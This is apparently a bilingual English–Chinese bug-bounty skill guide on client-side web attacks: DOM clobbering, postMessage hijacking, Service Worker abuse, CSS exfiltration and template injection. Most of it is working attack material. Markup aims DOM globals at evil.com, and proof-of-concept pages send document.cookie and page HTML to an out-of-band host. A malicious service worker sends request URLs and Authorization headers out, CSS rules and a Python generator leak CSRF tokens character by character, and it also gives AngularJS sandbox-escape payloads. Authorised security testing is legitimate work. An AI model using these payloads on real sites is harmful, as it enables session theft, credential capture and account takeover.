hunt-dom

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil

HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil

Crown Jewel Targets

核心攻击目标

DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.
Highest-value chains:
  • DOM Clobbering → DOM-XSS / auth bypass — HTML markup injection (no
    <script>
    ) overwrites a JS global like
    window.config
    or shadows
    document.getElementById
    , and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.
  • PostMessage no origin check → session theft / DOM-XSS — a
    message
    handler that trusts
    event.data
    without validating
    event.origin
    lets an attacker iframe/opener drive privileged actions or feed a sink.
  • Service Worker abuse — register a same-origin SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope
    fetch
    → persistent credential capture.
  • CSS Exfil — attribute-value selectors (
    input[value^="a"]
    ) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.
基于DOM的攻击在受害者浏览器中执行——服务器通常不会看到攻击载荷,因此WAF和服务器端输入过滤规则无法生效。PostMessage缺少源校验意味着无需XSS即可实现跨域令牌窃取。
最高价值攻击链:
  • DOM Clobbering → DOM-XSS / 身份验证绕过 — HTML标记注入(无需
    <script>
    标签)覆盖
    window.config
    等JS全局变量,或遮蔽
    document.getElementById
    ,应用后续将该值视为URL/代码→在仅允许标记注入(脚本被过滤)的场景触发漏洞。
  • PostMessage无源校验 → 会话窃取 / DOM-XSS — 信任
    event.data
    但未验证
    event.origin
    message
    处理器,允许攻击者通过iframe/opener执行特权操作或触发漏洞。
  • Service Worker滥用 — 通过存储型XSS注册同源SW脚本(可通过上传/开放重定向/目标站点可访问路径获取)→拦截所有范围内的
    fetch
    请求→持续捕获凭证。
  • CSS数据窃取 — 属性值选择器(
    input[value^="a"]
    )无需JS即可逐字符将CSRF令牌/API密钥/随机数泄露至跨域服务器。

Grounding — public research this is distilled from

参考公开研究成果

  • DOM Clobbering / DOM-Invader — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
  • DOMPurify clobbering & mXSS bypasses — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
  • jQuery
    htmlPrefilter
    self-closing-tag XSS
    CVE-2020-11022 and CVE-2020-11023 (jQuery < 3.5.0). Passing attacker HTML to
    .html()
    /
    .append()
    mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots.
  • CSS exfiltration — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential
    @import
    recursion to drop the per-char-position constraint).
Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for technique provenance, not severity inflation.

  • DOM Clobbering / DOM-Invader — Gareth Heyes与PortSwigger Web Security Academy的“DOM clobbering”主题;DOM-Invader内置专用clobbering扫描器。漏洞分类映射至学院的DOM漏洞实验。
  • DOMPurify clobbering与mXSS绕过 — Michał Bentkowski(Securitum)关于通过clobbering和变异XSS绕过HTML sanitizer的博客系列。
  • jQuery
    htmlPrefilter
    自闭合标签XSS
    CVE-2020-11022CVE-2020-11023(jQuery < 3.5.0)。将攻击者提供的HTML传入
    .html()
    /
    .append()
    会自动变异为可执行标记。检查捆绑的jQuery版本;这是最常见的真实DOM-XSS根源之一。
  • CSS数据窃取 — d0nut的“CSS Injection Attacks”/“Stealing Data With CSS”研究(通过顺序
    @import
    递归消除逐字符位置限制)。
仅引用你复现的内容。不要在报告中粘贴这些作为“证据”——针对目标站点的PoC才是证据。此处列出的研究仅用于说明技术来源,而非夸大漏洞严重性。

Attack Surface Signals

攻击面信号

undefined
undefined

Injection points that allow MARKUP but may strip <script>:

允许标记注入但可能过滤<script>的注入点:

user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
用户简介/显示名称/评论/Markdown预览/SVG上传/CMS富文本编辑器

postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):

PostMessage端点(iframe、SSO组件、支付框架、聊天组件):

/sso/ /embed/ /widget/ /oauth/ /sdk.js pay/checkout iframes
/sso/ /embed/ /widget/ /oauth/ /sdk.js pay/checkout iframes

Service worker presence:

Service Worker存在标识:

/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)

CSS injection points:

CSS注入点:

?theme= custom-css profile field email-template editor style= passthrough

---
?theme= 自定义CSS配置字段 邮件模板编辑器 style=参数透传

---

Phase 1 — DOM Clobbering

阶段1 — DOM Clobbering

bash
undefined
bash
undefined

Signal: app reads element IDs/names as if they were JS objects, OR feeds a

信号:应用将元素ID/名称视为JS对象读取,或将可clobber的全局变量传入漏洞触发点(location、innerHTML、eval、script.src)。

clobberable global into a sink (location, innerHTML, eval, script.src).

在允许命名/带ID元素通过的注入点注入标记(无需脚本)。

Inject MARKUP (no script) at a sink that lets named/id'd elements through.

单层级覆盖window.config:

Single-level clobber of window.config:

<a id="config" href="https://evil.com">

<a id="config" href="https://evil.com">

覆盖应用读取的非内置全局变量(getElementById等内置方法无法通过此方式遮蔽):

Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):

<a id="config"></a><a id="config" name="url"> # window.config.url解析为攻击者可控的元素/字符串

<a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string

覆盖字符串强制转换的URL值(锚点toString() == href):

Clobber a string-coerced URL value (anchor toString() == href):

<a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href

<a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href

通过form/inputs实现嵌套window.a.b.c:

Nested window.a.b.c via form/inputs:

<form id="a"><input id="b" name="c" value="clobbered"></form>

<form id="a"><input id="b" name="c" value="clobbered"></form>

baseURI / 相对URL劫持:

baseURI / relative-URL hijack:

<base href="https://evil.com/"> # 改变所有相对src/href的指向

<base href="https://evil.com/"> # bends every relative src/href


```javascript
// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
  'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
  const v = window[k];
  // HTMLCollection / element => already clobbered or clobberable namespace
  if (v && (v instanceof Element || v instanceof HTMLCollection))
    console.log('[CLOBBERED/NAMESPACE]', k, v);
  else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});
bash
undefined

```javascript
// 浏览器控制台:查找可被clobber且会传入漏洞触发点的全局变量。
// 只有当应用后续将变量拼接至URL/HTML/eval时,该变量才具有利用价值。
const susp = ['config','settings','options','appConfig','init','data','user',
  'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
  const v = window[k];
  // HTMLCollection / 元素 => 已被clobber或属于可clobber的命名空间
  if (v && (v instanceof Element || v instanceof HTMLCollection))
    console.log('[CLOBBERED/NAMESPACE]', k, v);
  else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});
bash
undefined

Source review: find globals fed into sinks (this is what makes clobbering exploitable)

源码审计:查找传入漏洞触发点的全局变量(这是clobbering可被利用的关键)

curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -nE
"document.(getElementById|baseURI)|window.[A-Za-z_]+.(url|src|href|html|cmd)|
location\s*=\s*[A-Za-z_]|.innerHTML\s*=|eval(|new Function(|.src\s*=\s*[A-Za-z_]"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -nE
"document.(getElementById|baseURI)|window.[A-Za-z_]+.(url|src|href|html|cmd)|
location\s*=\s*[A-Za-z_]|.innerHTML\s*=|eval(|new Function(|.src\s*=\s*[A-Za-z_]"

DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.

DOM-Invader(Burp)→ 启用"DOM clobbering" — 自动查找可clobber的源→漏洞触发点。


**jQuery angle:** if the bundle ships jQuery < 3.5.0, attacker HTML passed to `.html()`/`.append()` self-mutates to execute (**CVE-2020-11022 / CVE-2020-11023**). Confirm version then test `<style><style /><img src=x onerror=alert(document.domain)>`.

---

**jQuery角度:** 如果捆绑的jQuery版本 < 3.5.0,传入`.html()`/`.append()`的攻击者HTML会自动变异为可执行代码(**CVE-2020-11022 / CVE-2020-11023**)。确认版本后测试`<style><style /><img src=x onerror=alert(document.domain)>`。

---

Phase 2 — PostMessage Hijacking

阶段2 — PostMessage劫持

Two bug classes: (a) listener trusts cross-origin data → drive a sink/privileged action; (b) sender broadcasts secrets with target origin
'*'
→ any framing page reads them.
bash
undefined
两类漏洞:(a) 处理器信任跨域数据→触发漏洞/执行特权操作;(b) 发送方使用目标源
'*'
广播机密→任何嵌入页面均可读取。
bash
undefined

Find handlers and flag the ones with NO origin check

查找处理器并标记无来源校验的实例

grep -rnE "addEventListener(\s*['"]message['"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null
| grep -vE ".origin\b"
grep -rnE "addEventListener(\s*['"]message['"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null
| grep -vE ".origin\b"

Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)

然后查看每个实例的前后20行:event.data流向何处?(innerHTML/eval/location/令牌存储)

Senders that leak: grep for postMessage(<secret>, '*')

泄露机密的发送方:查找postMessage(<secret>, '*')

grep -rnE "postMessage([^,]+,\s*['"]*['"])" recon/$TARGET/ --include="*.js" 2>/dev/null

```html
<!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->
<!-- Host on attacker.com; frames target and pushes a privileged message -->
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
  document.getElementById('f').onload = () => {
    const w = document.getElementById('f').contentWindow;
    // Shape the payload to whatever the handler routes into a sink:
    w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
    w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
  };
</script>
html
<!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
  // Only count it if e.origin is the TARGET and data carries a secret
  out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
  if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
    fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>
False-positive guard: a handler with a partial check (
origin.indexOf('target.com')>-1
,
endsWith('target.com')
, regex
target\.com
) is still vulnerable — bypass with
target.com.evil.com
or
eviltarget.com
. Confirm by serving the PoC from such a look-alike host and showing the message still lands.

grep -rnE "postMessage([^,]+,\s*['"]*['"])" recon/$TARGET/ --include="*.js" 2>/dev/null

```html
<!-- PoC A:从攻击者页面驱动无来源校验的处理器 -->
<!-- 部署在attacker.com;嵌入目标站点并发送特权消息 -->
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
  document.getElementById('f').onload = () => {
    const w = document.getElementById('f').contentWindow;
    // 根据处理器路由至漏洞触发点的格式构造载荷:
    w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
    w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
  };
</script>
html
<!-- PoC B:捕获使用targetOrigin '*'的发送方泄露的机密 -->
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
  // 仅当e.origin为目标站点且数据包含机密时记录
  out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
  if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
    fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // 跨域证明
});
</script>
误报防范:带有部分校验的处理器(
origin.indexOf('target.com')>-1
endsWith('target.com')
、正则
target\.com
)仍存在漏洞——可通过
target.com.evil.com
eviltarget.com
绕过。通过从类似域名部署PoC并验证消息仍可接收来确认。

Phase 3 — Service Worker Abuse

阶段3 — Service Worker滥用

Hard rule (corrects a common mistake): a SW script URL must be same-origin as the page calling
register()
. A cross-origin script URL (
https://evil.com/sw.js
) throws
SecurityError
— there is no header that enables cross-origin SW script registration.
Service-Worker-Allowed
only widens the scope a same-origin script may control, not where the script may live.
So the realistic path is: get a SW script onto the target origin (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with
text/javascript
, or an existing route under your control), then register it from same-origin XSS.
bash
undefined
硬性规则(纠正常见误解): SW脚本URL必须与调用
register()
的页面同源。跨域脚本URL(
https://evil.com/sw.js
)会抛出
SecurityError
——没有任何头部可以启用跨域SW脚本注册
Service-Worker-Allowed
仅能扩大同源脚本可控制的范围,而非允许脚本来自其他域名。
因此可行的利用路径是:将SW脚本上传至目标站点域名(通过可返回JS的文件上传功能、开放重定向/目标站点反射为脚本的路径、返回
text/javascript
的JSON/JSONP端点,或你可控的现有路由),然后通过同源XSS注册它。
bash
undefined

Enumerate existing SW + its scope

枚举现有SW及其范围

curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -iE "serviceWorker.register|navigator.serviceWorker" for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener('fetch'|caches"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -iE "serviceWorker.register|navigator.serviceWorker" for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener('fetch'|caches"

Look for an upload/route that returns Content-Type: text/javascript on YOUR content:

查找可返回Content-Type: text/javascript的上传/路由:

curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type

curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type


```javascript
// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
  .then(r => fetch('https://OOB/sw-registered?scope='+r.scope))  // OOB proof of registration
  .catch(e => console.log('SW reg failed', e.name));  // SecurityError => wrong origin/scope

// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
  e.respondWith(fetch(e.request.clone()).then(async resp => {
    // Exfil URL + any auth header the page attaches, to OOB
    fetch('https://OOB/sw-intercept', {method:'POST',
      body: JSON.stringify({url: e.request.url,
        auth: e.request.headers.get('authorization')})});
    return resp;
  }));
});
Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger.


```javascript
// 在同源XSS中运行。脚本必须为同源(例如目标站点提供的/uploads/evil-sw.js
// 除非响应携带Service-Worker-Allowed,否则范围必须小于等于脚本所在目录)
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
  .then(r => fetch('https://OOB/sw-registered?scope='+r.scope))  // 跨域证明注册成功
  .catch(e => console.log('SW注册失败', e.name));  // SecurityError => 域名/范围错误

// evil-sw.js(部署在目标站点域名):
self.addEventListener('fetch', e => {
  e.respondWith(fetch(e.request.clone()).then(async resp => {
    // 将URL + 页面附加的任何认证头泄露至跨域服务器
    fetch('https://OOB/sw-intercept', {method:'POST',
      body: JSON.stringify({url: e.request.url,
        auth: e.request.headers.get('authorization')})});
    return resp;
  }));
});
持久性说明:SW在标签关闭后仍会留存,下次访问范围内页面时会重新运行——这也是其被评为Critical的原因。通过关闭所有标签、重新打开目标站点、并显示无需重新触发XSS即可获得新的跨域请求来确认持久性。

Phase 4 — CSS Injection / Exfiltration

阶段4 — CSS注入 / 数据窃取

bash
undefined
bash
undefined

Prereq: attacker controls CSS (custom-theme field, style= passthrough, email

前提:攻击者可控制CSS(自定义主题字段、style=参数透传、邮件模板、Markdown CSS)。目标:隐藏的CSRF输入框、meta标签中的API密钥、nonce属性。

template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.

步骤1确认注入:在已知元素上注入"color:red",观察渲染效果。

Step 1 confirm injection: inject "color:red" on a known element, observe render.

步骤2通过属性选择器 + url()跨域逐字符泄露属性值。

Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.


> **Scope caveat (corrects an overstatement):** CSS exfil bypasses CSP that blocks *script execution* — it does **not** bypass a CSP whose `style-src` / `img-src` / `default-src` / `connect-src` restricts external origins, or `form-action`. If `img-src 'self'` is set, `url(https://OOB/...)` is **blocked**. Always read the live `Content-Security-Policy` header first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it.

```css
/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }
python
undefined

> **范围说明(纠正夸大表述):** CSS数据窃取可绕过阻止脚本执行的CSP——但**无法绕过**限制外部域名的`style-src`/`img-src`/`default-src`/`connect-src`或`form-action`规则。如果设置了`img-src 'self'`,`url(https://OOB/...)`会被**阻止**。务必先查看实时`Content-Security-Policy`头;如果外部资源域名被锁定,CSS数据窃取无法生效,应如实说明而非声称可利用。

```css
/* 仅当首字符匹配时触发请求。 */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...所有字符... 然后通过@import链式泄露基于第0位匹配的第1位,以此类推。 */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }
python
undefined

Generate a single-position CSS exfil set (loop positions with sequential @import in practice)

生成单位置CSS数据窃取规则(实际需通过顺序@import递归处理多位置)

import string chars = string.ascii_letters + string.digits + '-_' attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0 print("\n".join( f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
import string chars = string.ascii_letters + string.digits + '-_' attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0 print("\n".join( f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))

Real exfil needs recursion: serve a stylesheet whose @import pulls the next

真实窃取需要递归:提供一个样式表,仅当当前前缀匹配时才通过@import加载下一个位置的规则(d0nut技术)——

position's rules only after the current prefix matched (d0nut technique) —

这消除了“静态输入,单字符”的限制。

this removes the "static input, one char" limitation.


> Validation: the proof is **OOB hits**, not a rendered color. Stand up a Collaborator / request-bin and show one hit per correct character forming the real token, then demonstrate using that token in a state-changing CSRF request. No OOB callback = no finding (a 0-byte image or CSP-blocked request looks identical to success in DevTools).

---

> 验证:**跨域请求命中是唯一证明**,而非渲染颜色。搭建Collaborator/请求捕获工具,展示每个正确字符对应的跨域请求,然后演示使用窃取的令牌执行状态变更的CSRF请求。无跨域回调则无漏洞(在DevTools中,0字节图片或被CSP阻止的请求与成功请求外观一致)。

---

Phase 5 — dangerouslySetInnerHTML / framework sinks

阶段5 — dangerouslySetInnerHTML / 框架漏洞触发点

bash
grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
bash
grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null

In minified Next/React bundles:

在压缩的Next/React包中:

curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -Eo 'dangerouslySetInnerHTML.{0,120}'
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -Eo 'dangerouslySetInnerHTML.{0,120}'

Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).

追踪用户数据是否未经过滤器(DOMPurify/sanitize-html)直接传入。

If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.

如果存在DOMPurify,检查是否存在clobbering/mXSS绕过(Bentkowski研究)及版本。


---

---

Phase 6 — Client-Side Template Injection

阶段6 — 客户端模板注入

bash
undefined
bash
undefined

Detect framework, then test the {{}} sink in a sandbox-bypass form.

检测框架,然后在沙箱绕过形式中测试{{}}漏洞触发点。

grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head

Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):

探测(服务器可能渲染,因此需查看渲染后的DOM而非curl结果来确认是客户端模板):

{{7*7}} -> 49 in the live DOM (not in raw HTML) => CSTI

{{7*7}} -> 实时DOM中显示49(原始HTML中无)=> CSTI

AngularJS sandbox-escape style payloads (version-dependent; older 1.x):

AngularJS沙箱逃逸载荷(版本相关;旧版1.x):

{{constructor.constructor('alert(document.domain)')()}}

{{constructor.constructor('alert(document.domain)')()}}

Vue: {{_c.constructor('alert(1)')()}} (varies by Vue 2/3 build)

Vue:{{_c.constructor('alert(1)')()}} (因Vue 2/3版本而异)


---

---

Chain Table

攻击链对照表

DOM findingChain toImpact
DOM Clobbering → clobbered URL into
script.src
/
location
DOM-XSS under markup-only injectionHigh / auth bypass
PostMessage no/weak origin check (listener)data → innerHTML/eval/location sinkDOM-XSS → ATO
PostMessage
targetOrigin:'*'
sender
any framing page reads token/auth codeCross-origin token theft
CSS exfil (OOB-confirmed)leak CSRF token → fire CSRFCSRF chain (Medium+)
Same-origin Service Worker via XSSintercept all in-scope fetch + auth headersPersistent ATO (Critical)
dangerouslySetInnerHTML, no sanitizerstored DOM-XSSXSS → ATO

DOM发现可链接至影响
DOM Clobbering → 被覆盖的URL传入
script.src
/
location
仅标记注入场景下的DOM-XSS高 / 身份验证绕过
PostMessage无/弱源校验(处理器)数据传入innerHTML/eval/location漏洞触发点DOM-XSS → 账户接管
PostMessage
targetOrigin:'*'
发送方
任何嵌入页面读取令牌/授权码跨域令牌窃取
CSS数据窃取(跨域验证)泄露CSRF令牌 → 触发CSRFCSRF攻击链(中+)
通过XSS注册同源Service Worker拦截所有范围内的fetch请求 + 认证头持久化账户接管(严重)
dangerouslySetInnerHTML,无过滤存储型DOM-XSSXSS → 账户接管

Tools

工具

bash
undefined
bash
undefined

DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner

DOM Invader(Burp浏览器内置)—— 源→漏洞触发点追踪、PostMessage日志、clobbering扫描器

postMessage-tracker — Chrome extension logging cross-window messages

postMessage-tracker — Chrome扩展,记录跨窗口消息

Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs

Burp Collaborator / interactsh / request-bin — CSS数据窃取与SW PoCs必备的跨域触发点

Verify any command URL before citing it in a report; do not paste unverified repo links.

在报告中引用命令URL前务必验证;不要粘贴未经验证的仓库链接。


---

---

Validation (false-positive discipline)

验证(误报规避准则)

Match the repo standard: a technique that fires in DevTools is not a finding until impact is OOB-confirmed and state-proven.
  • DOM Clobbering — show the clobbered value actually reaching a sink (XSS payload executes, or app navigates/loads from attacker URL). A clobberable global that never reaches a sink = no impact, do not report.
  • PostMessage — distinguish a missing check from a weak one; bypass weak checks from a look-alike origin and capture via OOB. A noisy
    message
    log alone is not proof — show the privileged action or token exfil.
  • CSS exfilOOB callback per correct character is the only proof. Read CSP first:
    img-src
    /
    style-src
    /
    connect-src
    /
    default-src
    restricting external origins kills it. A blocked
    url()
    is indistinguishable from success in the Network tab — confirm on the Collaborator side.
  • Service Worker — registration must be same-origin script; a
    SecurityError
    means you cited the wrong origin. Prove persistence (close tabs → reopen → fresh OOB hit, no XSS re-fire).
  • General — unique per-test markers (
    btoa(domain)+nonce
    ) so an OOB hit is attributable to YOUR payload and not background traffic; body-diff the rendered DOM, not the raw HTML, since these are client-side.
Severity:
  • Same-origin Service Worker → persistent credential intercept: Critical
  • PostMessage data → DOM-XSS / token theft → ATO: High–Critical
  • DOM Clobbering → DOM-XSS reaching auth/session: High
  • CSS exfil of CSRF token (OOB-proven) → CSRF: Medium (raise if the chained CSRF is account-critical)

符合仓库标准:仅在DevTools中触发的技术不算漏洞,必须跨域验证证明影响才算。
  • DOM Clobbering — 展示被覆盖的值确实传入漏洞触发点(XSS载荷执行,或应用导航/加载攻击者URL)。可被clobber但从未传入漏洞触发点的全局变量无影响,无需报告。
  • PostMessage — 区分“缺失”校验与“薄弱”校验;从类似域名绕过薄弱校验并通过跨域捕获。仅嘈杂的
    message
    日志不算证据——需展示特权操作或令牌窃取。
  • CSS数据窃取每个正确字符对应的跨域回调是唯一证明。先查看CSP:
    img-src
    /
    style-src
    /
    connect-src
    /
    default-src
    限制外部域名会导致攻击失效。在网络标签中,被阻止的
    url()
    与成功请求无法区分——需在Collaborator端确认。
  • Service Worker — 注册必须使用同源脚本
    SecurityError
    说明你引用了错误域名。证明持久性(关闭标签→重新打开→无需重新触发XSS即可获得新的跨域请求)。
  • 通用准则 — 使用唯一测试标记(
    btoa(domain)+nonce
    ),确保跨域请求来自你的载荷而非后台流量;对比渲染后的DOM而非原始HTML,因为这些都是客户端漏洞。
严重性:
  • 同源Service Worker → 持久化凭证拦截:严重
  • PostMessage数据 → DOM-XSS / 令牌窃取 → 账户接管:高–严重
  • DOM Clobbering → 涉及身份/会话的DOM-XSS:
  • CSS数据窃取CSRF令牌(跨域验证)→ CSRF:(若链式CSRF涉及账户关键操作可升级)

Verification

自检

Run this self-test to confirm dom hunting readiness:
  1. Skill integrity — confirm the skill file is readable and well-formed:
    bash
    grep -q "name: hunt-dom" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
  2. Category check — confirm the skill has a category:
    bash
    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
  3. Pitfalls section — confirm pitfalls are documented:
    bash
    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
All 3 tests verify the skill is properly structured and ready for use.

运行以下自检确认DOM漏洞排查准备就绪:
  1. 技能完整性 — 确认技能文件可读且格式规范:
    bash
    grep -q "name: hunt-dom" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
  2. 分类检查 — 确认技能已分类:
    bash
    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
  3. 陷阱章节 — 确认已记录陷阱:
    bash
    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部3项测试通过则说明技能结构规范,可投入使用。

Pitfalls

陷阱

  • DOM XSS without sink confirmation — finding
    innerHTML
    or
    document.write
    with user input is a potential sink, not a confirmed bug. Trace the full data flow from source to sink.
  • postMessage without origin check — receiving postMessage events without verifying
    event.origin
    is the vulnerability. Test with
    window.postMessage(payload, '*')
    .
  • Source maps without secrets
    .map
    files alone are informational. Need extracted API keys, internal paths, or credentials.
  • eval with static strings
    eval("constant")
    is not exploitable. Need dynamic input reaching eval.
  • Sanitizer bypass claim without proof — claiming DOMPurify bypass requires a working payload against the specific version in use.
  • 未确认漏洞触发点的DOM XSS — 发现
    innerHTML
    document.write
    接收用户输入只是潜在漏洞触发点,而非已确认漏洞。需追踪从源到漏洞触发点的完整数据流。
  • 无来源校验的postMessage — 接收postMessage事件但未验证
    event.origin
    才是漏洞。使用
    window.postMessage(payload, '*')
    测试。
  • 无机密的源映射
    .map
    文件仅提供信息。需提取API密钥、内部路径或凭证才算有用。
  • 传入静态字符串的eval
    eval("constant")
    无法被利用。需动态输入传入eval才算漏洞。
  • 无证明的Sanitizer绕过声明 — 声称DOMPurify绕过需针对目标站点使用的具体版本提供有效载荷。